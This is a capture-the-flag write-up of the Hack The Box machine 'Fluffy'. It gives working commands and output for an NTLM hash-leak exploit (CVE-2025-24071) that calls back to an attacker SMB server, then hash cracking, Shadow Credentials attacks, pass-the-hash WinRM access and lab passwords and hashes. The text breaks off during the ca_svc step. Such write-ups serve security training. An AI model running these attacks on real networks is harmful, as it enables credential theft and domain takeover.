22 minute read

Machine Information

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

📝 Summary

An Upgrade Notice document found on a file share contained some information about discovered vulnerabilities in the environment. One of these vulnerabilities was CVE-2025-24071. An exploit Proof of Concept (PoC) generated a malicious zip file, which was uploaded to the share and the NetNTLMv2 hash for user p.agila was leaked and cracked.

p.agila had some excessive ACE permissions, which allowed the attacker to add the user to the SERVICE ACCOUNT group. The SERVICE ACCOUNT members could, in turn, run a Shadow Credentials attack against two service accounts: winrm_svc and ca_svc.

The winrm_svc account held the user.txt flag.

certipy-ad using the ca_svc account revealed that the target was vulnerable to the ADCS ESC16 vulnerability, which was abused to compromise the domain.

🔓 NTLM Hash Disclosure

🔎 Recon

The initial scan revealed open ports for a Windows Active Directory server, including access through WinRM port 5985/tcp. nmap showed the heavy use of certificates, indicating the presence of an Active Directory Certificate Services.

fcoomans@kali:~/htb/fluffy$ rustscan -a 10.10.11.69 --tries 5 --ulimit 10000 -- -sCV -oA fluffy_tcp_all
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/home/fcoomans/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.69:53
Open 10.10.11.69:88
Open 10.10.11.69:139
Open 10.10.11.69:389
Open 10.10.11.69:445
Open 10.10.11.69:464
Open 10.10.11.69:593
Open 10.10.11.69:636
Open 10.10.11.69:3269
Open 10.10.11.69:3268
Open 10.10.11.69:5985
Open 10.10.11.69:9389
Open 10.10.11.69:49666
Open 10.10.11.69:49690
Open 10.10.11.69:49693
Open 10.10.11.69:49689
Open 10.10.11.69:49712
Open 10.10.11.69:49719
Open 10.10.11.69:49760
[~] Starting Script(s)
[>] Running script "nmap -vvv -p  -  -sCV -oA fluffy_tcp_all" on ip 10.10.11.69
Depending on the complexity of the script, results may take some time to appear.

<SNIP>

Initiating NSE at 16:03
Completed NSE at 16:03, 0.01s elapsed
Nmap scan report for 10.10.11.69
Host is up, received echo-reply ttl 127 (0.17s latency).
Scanned at 2025-07-15 16:01:47 SAST for 100s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-15 13:42:57Z)
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
<SNIP>
| 9r5Zuo/LdOGg/tqrZV8cNR/AusGMNslltUAYtK3HyjETE/REiQgwS9mBbQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-15T13:44:39+00:00; -18m47s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-15T13:44:39+00:00; -18m46s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
<SNIP>
| 9r5Zuo/LdOGg/tqrZV8cNR/AusGMNslltUAYtK3HyjETE/REiQgwS9mBbQ==
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
<SNIP>
| 9r5Zuo/LdOGg/tqrZV8cNR/AusGMNslltUAYtK3HyjETE/REiQgwS9mBbQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-15T13:44:39+00:00; -18m47s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
| SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
<SNIP>
| 9r5Zuo/LdOGg/tqrZV8cNR/AusGMNslltUAYtK3HyjETE/REiQgwS9mBbQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-15T13:44:39+00:00; -18m47s from scanner time.
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49719/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49760/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

<SNIP>

After pointing fluffy.htb and dc01.fluffy.htb in /etc/hosts,

fcoomans@kali:~/htb/fluffy$ grep fluffy.htb /etc/hosts
10.10.11.69     fluffy.htb dc01.fluffy.htb

I ran an nmap UDP port scan, which detected UDP-related Windows Active Directory services.

fcoomans@kali:~/htb/fluffy$ nmap --top-ports 100 --open -sU fluffy.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 16:05 SAST
Nmap scan report for fluffy.htb (10.10.11.69)
Host is up (0.17s latency).
Not shown: 97 open|filtered udp ports (no-response)
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp

Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds

Using the provided credentials with nxc, only a handful of domain users and services exist on the target.

fcoomans@kali:~/htb/fluffy$ nxc ldap fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --users
LDAP        10.10.11.69     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP        10.10.11.69     389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP        10.10.11.69     389    DC01             [*] Enumerated 9 domain users: fluffy.htb
LDAP        10.10.11.69     389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.10.11.69     389    DC01             Administrator                 2025-04-17 17:45:01 0        Built-in account for administering the computer/domain
LDAP        10.10.11.69     389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.10.11.69     389    DC01             krbtgt                        2025-04-17 18:00:02 0        Key Distribution Center Service Account
LDAP        10.10.11.69     389    DC01             ca_svc                        2025-04-17 18:07:50 0
LDAP        10.10.11.69     389    DC01             ldap_svc                      2025-04-17 18:17:00 0
LDAP        10.10.11.69     389    DC01             p.agila                       2025-04-18 16:37:08 3
LDAP        10.10.11.69     389    DC01             winrm_svc                     2025-05-18 02:51:16 0
LDAP        10.10.11.69     389    DC01             j.coffey                      2025-04-19 14:09:55 2
LDAP        10.10.11.69     389    DC01             j.fleischman                  2025-05-16 16:46:55 0

Group membership was also queried.

fcoomans@kali:~/htb/fluffy$ nxc ldap fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --groups |grep -v "membercount: 0"
LDAP                     10.10.11.69     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP                     10.10.11.69     389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP                     10.10.11.69     389    DC01             Administrators                           membercount: 3
LDAP                     10.10.11.69     389    DC01             Users                                    membercount: 3
LDAP                     10.10.11.69     389    DC01             Guests                                   membercount: 2
LDAP                     10.10.11.69     389    DC01             Certificate Service DCOM Access          membercount: 1
LDAP                     10.10.11.69     389    DC01             Remote Management Users                  membercount: 1
LDAP                     10.10.11.69     389    DC01             Schema Admins                            membercount: 1
LDAP                     10.10.11.69     389    DC01             Enterprise Admins                        membercount: 1
LDAP                     10.10.11.69     389    DC01             Cert Publishers                          membercount: 2
LDAP                     10.10.11.69     389    DC01             Domain Admins                            membercount: 1
LDAP                     10.10.11.69     389    DC01             Group Policy Creator Owners              membercount: 1
LDAP                     10.10.11.69     389    DC01             Pre-Windows 2000 Compatible Access       membercount: 2
LDAP                     10.10.11.69     389    DC01             Windows Authorization Access Group       membercount: 1
LDAP                     10.10.11.69     389    DC01             Denied RODC Password Replication Group   membercount: 8
LDAP                     10.10.11.69     389    DC01             Service Account Managers                 membercount: 2
LDAP                     10.10.11.69     389    DC01             Service Accounts                         membercount: 3

fcoomans@kali:~/htb/fluffy$ nxc ldap fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --groups "Remote Management Users"
LDAP        10.10.11.69     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP        10.10.11.69     389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP        10.10.11.69     389    DC01             winrm service

fcoomans@kali:~/htb/fluffy$ nxc ldap fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --groups "Service Account Managers"
LDAP        10.10.11.69     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP        10.10.11.69     389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP        10.10.11.69     389    DC01             John Coffey
LDAP        10.10.11.69     389    DC01             Prometheus Agila

fcoomans@kali:~/htb/fluffy$ nxc ldap fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --groups "Service Accounts"
LDAP        10.10.11.69     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP        10.10.11.69     389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP        10.10.11.69     389    DC01             winrm service
LDAP        10.10.11.69     389    DC01             ldap service
LDAP        10.10.11.69     389    DC01             certificate authority service

The password policy showed that there was no account lockout configured. So, online brute forcing and other password discovery techniques could be used without fear of locking domain accounts.

fcoomans@kali:~/htb/fluffy$ nxc smb fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --pass-pol
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [+] Dumping password info for domain: FLUFFY
SMB         10.10.11.69     445    DC01             Minimum password length: 7
SMB         10.10.11.69     445    DC01             Password history length: 24
SMB         10.10.11.69     445    DC01             Maximum password age: 41 days 23 hours 53 minutes
SMB         10.10.11.69     445    DC01
SMB         10.10.11.69     445    DC01             Password Complexity Flags: 000000
SMB         10.10.11.69     445    DC01                 Domain Refuse Password Change: 0
SMB         10.10.11.69     445    DC01                 Domain Password Store Cleartext: 0
SMB         10.10.11.69     445    DC01                 Domain Password Lockout Admins: 0
SMB         10.10.11.69     445    DC01                 Domain Password No Clear Change: 0
SMB         10.10.11.69     445    DC01                 Domain Password No Anon Change: 0
SMB         10.10.11.69     445    DC01                 Domain Password Complex: 0
SMB         10.10.11.69     445    DC01
SMB         10.10.11.69     445    DC01             Minimum password age: 1 day 4 minutes
SMB         10.10.11.69     445    DC01             Reset Account Lockout Counter: 10 minutes
SMB         10.10.11.69     445    DC01             Locked Account Duration: 10 minutes
SMB         10.10.11.69     445    DC01             Account Lockout Threshold: None
SMB         10.10.11.69     445    DC01             Forced Log off Time: Not Set

The bloodhound-python collector was run and the results imported into BloodHound.

fcoomans@kali:~/htb/fluffy$ bloodhound-python --zip -ns 10.10.11.69 -d fluffy.htb -c All --dns-tcp -u j.fleischman -p J0elTHEM4n1990!
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 32S
INFO: Compressing output into 20250715161919_bloodhound.zip

Looking at the server shares showed that the provided user could READ,WRITE to the IT share.

fcoomans@kali:~/htb/fluffy$ nxc smb fluffy.htb -u j.fleischman -p J0elTHEM4n1990! --shares
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Enumerated shares
SMB         10.10.11.69     445    DC01             Share           Permissions     Remark
SMB         10.10.11.69     445    DC01             -----           -----------     ------
SMB         10.10.11.69     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.69     445    DC01             C$                              Default share
SMB         10.10.11.69     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.69     445    DC01             IT              READ,WRITE
SMB         10.10.11.69     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.69     445    DC01             SYSVOL          READ            Logon server share

I used impacket-smbclient to interrogate the IT share. (I prefer to use impacket-smbclient, as it has the convenient tree option to visually show folders and files.) The Upgrade_Notice.pdf file looked interesting. So, I downloaded it.

fcoomans@kali:~/htb/fluffy$ impacket-smbclient 'fluffy/j.fleischman:J0elTHEM4n1990!@dc01.fluffy.htb'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use IT
# tree
/Everything-1.4.1.1026.x64.zip
/KeePass-2.58.zip
/Upgrade_Notice.pdf
/Everything-1.4.1.1026.x64/everything.exe
/Everything-1.4.1.1026.x64/Everything.lng
/KeePass-2.58/KeePass.chm
/KeePass-2.58/KeePass.exe
/KeePass-2.58/KeePass.exe.config
/KeePass-2.58/KeePass.XmlSerializers.dll
/KeePass-2.58/KeePassLibC32.dll
/KeePass-2.58/KeePassLibC64.dll
/KeePass-2.58/Languages
/KeePass-2.58/License.txt
/KeePass-2.58/Plugins
/KeePass-2.58/ShInstUtil.exe
/KeePass-2.58/XSL
/KeePass-2.58/XSL/KDBX_Common.xsl
/KeePass-2.58/XSL/KDBX_DetailsFull_HTML.xsl
/KeePass-2.58/XSL/KDBX_DetailsLight_HTML.xsl
/KeePass-2.58/XSL/KDBX_PasswordsOnly_TXT.xsl
/KeePass-2.58/XSL/KDBX_Tabular_HTML.xsl
Finished - 20 files and folders
# get Upgrade_Notice.pdf
# exit

Opening the file showed Recent Vulnerabilities that were discovered in the target environment.

CVE-2025-24071 seemed interesting as it discloses NTLM hashes.

fcoomans@kali:~/htb/fluffy$ searchsploit --cve 2025-24071
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                           |  Path
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Windows File Explorer Windows 10 Pro x64 - TAR Extraction                                                                                | windows/remote/52325.py
Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure                                                                           | windows/remote/52310.py
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

A mirror (-m) copy of the exploit was created and it looked like the target’s IP and a writable share (IT is writable) was all that was needed to run the exploit.

fcoomans@kali:~/htb/fluffy$ searchsploit -m 52310
  Exploit: Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
      URL: https://www.exploit-db.com/exploits/52310
     Path: /usr/share/exploitdb/exploits/windows/remote/52310.py
    Codes: CVE-2025-24071
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/fcoomans/htb/fluffy/52310.py



fcoomans@kali:~/htb/fluffy$ python 52310.py
usage: 52310.py [-h] -i IP [-n NAME] [-o OUTPUT] [--keep]
52310.py: error: the following arguments are required: -i/--ip

🧪 Exploitation

🐞 CVE-2025-24071

The exploit was executed and it created a malicious file under output/malicious.zip. The instructions said that I should start a SMB server to catch the NTLM hashes of anyone who accessed the malicious file on the server. Lastly, I had to upload the malicious file to the server. Luckily the supplied user had WRITE permissions to the IT share…

fcoomans@kali:~/htb/fluffy$ python 52310.py -i 10.10.14.113
[*] Generating malicious .library-ms file...
[+] Created ZIP: output/malicious.zip
[-] Removed intermediate .library-ms file
[!] Done. Send ZIP to victim and listen for NTLM hash on your SMB server.

The impacket-smbserver was started, but responder would also have done the trick.

fcoomans@kali:~/htb/fluffy$ impacket-smbserver -smb2support share share
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

I connected at the IT share and uploaded the malicious.zip file to the share.

fcoomans@kali:~/htb/fluffy$ impacket-smbclient 'fluffy/j.fleischman:J0elTHEM4n1990!@dc01.fluffy.htb'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use IT
# put output/malicious.zip
# ls
drw-rw-rw-          0  Tue Jul 15 17:47:55 2025 .
drw-rw-rw-          0  Tue Jul 15 17:47:55 2025 ..
drw-rw-rw-          0  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw-    1827464  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw-          0  Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw-    3225346  Fri May 16 16:51:49 2025 KeePass-2.58.zip
-rw-rw-rw-        326  Tue Jul 15 17:47:55 2025 malicious.zip
-rw-rw-rw-     169963  Sat May 17 16:31:07 2025 Upgrade_Notice.pdf

The impacket-smbserver then started receiving the NetNTLMv2 hash for user p.agila as that user accessed the ZIP file in the share.

fcoomans@kali:~/htb/fluffy$ impacket-smbserver -smb2support share share
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.69,60218)
[*] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01)
[*] User DC01\p.agila authenticated successfully
[*] p.agila::FLUFFY:aaaaaaaaaaaaaaaa:28c7670188bdaadd45981fdf97ceddae:010100000000000080b0e3d89ef5db01c2155af79f7587000000000001001000460041004a007a0071004b004400440003001000460041004a007a0071004b0044004400020010004d00740062006100530078006f006f00040010004d00740062006100530078006f006f000700080080b0e3d89ef5db0106000400020000000800300030000000000000000100000000200000ec74d5cbbf57bf4e5fea6e9a8a432988a1372678006d5eafcbab8122727ec4280a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100310033000000000000000000

The hash was copied to a local file.

fcoomans@kali:~/htb/fluffy$ cat ntlmv2.hash
p.agila::FLUFFY:aaaaaaaaaaaaaaaa:28c7670188bdaadd45981fdf97ceddae:010100000000000080b0e3d89ef5db01c2155af79f7587000000000001001000460041004a007a0071004b004400440003001000460041004a007a0071004b0044004400020010004d00740062006100530078006f006f00040010004d00740062006100530078006f006f000700080080b0e3d89ef5db0106000400020000000800300030000000000000000100000000200000ec74d5cbbf57bf4e5fea6e9a8a432988a1372678006d5eafcbab8122727ec4280a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100310033000000000000000000

And hashcat was used to crack the NetNTLMv2 hash. The password for user p.agila is prometheusx-303.

fcoomans@kali:~/htb/fluffy$ hashcat --help |grep -i ntlm
   5500 | NetNTLMv1 / NetNTLMv1+ESS                                  | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                             | Network Protocol
   5600 | NetNTLMv2                                                  | Network Protocol
  27100 | NetNTLMv2 (NT)                                             | Network Protocol
   1000 | NTLM                                                       | Operating System

fcoomans@kali:~/htb/fluffy$ hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>

P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:28c7670188bdaadd45981fdf97ceddae:010100000000000080b0e3d89ef5db01c2155af79f7587000000000001001000460041004a007a0071004b004400440003001000460041004a007a0071004b0044004400020010004d00740062006100530078006f006f00040010004d00740062006100530078006f006f000700080080b0e3d89ef5db0106000400020000000800300030000000000000000100000000200000ec74d5cbbf57bf4e5fea6e9a8a432988a1372678006d5eafcbab8122727ec4280a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100310033000000000000000000:prometheusx-303

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: P.AGILA::FLUFFY:aaaaaaaaaaaaaaaa:28c7670188bdaadd45...000000

<SNIP>

💰 Post Exploitation

nxc confirms that these credentials were indeed correct.

fcoomans@kali:~/htb/fluffy$ nxc smb fluffy.htb -u p.agila -p prometheusx-303
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\p.agila:prometheusx-303

🥷 ADCS Shadow Credentials attack

🔎 Recon

BloodHound showed that p.agila could add it’s own account to the SERVICE ACCOUNTS group.

Members of the SERVICE ACCOUNTS group have GenericWrite permissions on the winrm_svc service account. This account would provide WinRM access to the server. A Shadow Credentials attack could be used to get the NTLM hash for that account.

🧪 Exploitation

The attack started by running the suggested commands to add user p.agila as a member of the SERVICE ACCOUNTS group.

fcoomans@kali:~/htb/fluffy$ net rpc group members "SERVICE ACCOUNTS" -U "FLUFFY/p.agila%prometheusx-303" -S "dc01.fluffy.htb"
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\winrm_svc

fcoomans@kali:~/htb/fluffy$ net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "FLUFFY/p.agila%prometheusx-303" -S "dc01.fluffy.htb"

fcoomans@kali:~/htb/fluffy$ net rpc group members "SERVICE ACCOUNTS" -U "FLUFFY/p.agila%prometheusx-303" -S "dc01.fluffy.htb"
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc

I decided to use certipy-ad instead of pywhisker as I find certipy-ad easier to use than pywhisker.
certipy-ad used user p.agila to dump the NTLM hash for the winrm_svc service account using a Shadow Credentials attack.

fcoomans@kali:~/htb/fluffy$ certipy-ad shadow -u p.agila -p prometheusx-303 -dc-ip 10.10.11.69 -account winrm_svc auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'f252b48f-056b-b2f2-7c81-bc3640bdf9db'
[*] Adding Key Credential with device ID 'f252b48f-056b-b2f2-7c81-bc3640bdf9db' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID 'f252b48f-056b-b2f2-7c81-bc3640bdf9db' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'winrm_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767

nxc confirmed that the hash was valid.

fcoomans@kali:~/htb/fluffy$ nxc smb fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767

evil-winrm was then used to connect to the server with the winrm_svc service account and its NTLM hash. This known as Pass-the-Hash (PtH). PtH allow the attacker to use the NTLM hash instead of the cleartext password to authenticate to the target.

fcoomans@kali:~/htb/fluffy$ evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
fluffy\winrm_svc

💰 Post Exploitation

🚩 user.txt

winrm_svc holds the user.txt flag.

*Evil-WinRM* PS C:\Users\winrm_svc\Documents> type C:\Users\winrm_svc\Desktop\user.txt
9ca44d83351c25d767856b0f838828e3

🪪 ADCS ECS16

🔎 Recon

I ran certipy-ad find, but could not find any ESCs.

But then BloodHound showed that p.agila could also perform a Shadow Credentials attack on the ca_svc service account. This account name suggests that the account is the Certificate Authority account.

certipy-ad was once again used to perform a Shadow Credentials attack on the ca_svc service account using the user p.agila.

fcoomans@kali:~/htb/fluffy$ certipy-ad shadow -u p.agila -p prometheusx-303 -dc-ip 10.10.11.69 -account ca_svc auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'cfedad4b-ab55-72da-4ff3-dff10f1e8b95'
[*] Adding Key Credential with device ID 'cfedad4b-ab55-72da-4ff3-dff10f1e8b95' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'cfedad4b-ab55-72da-4ff3-dff10f1e8b95' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
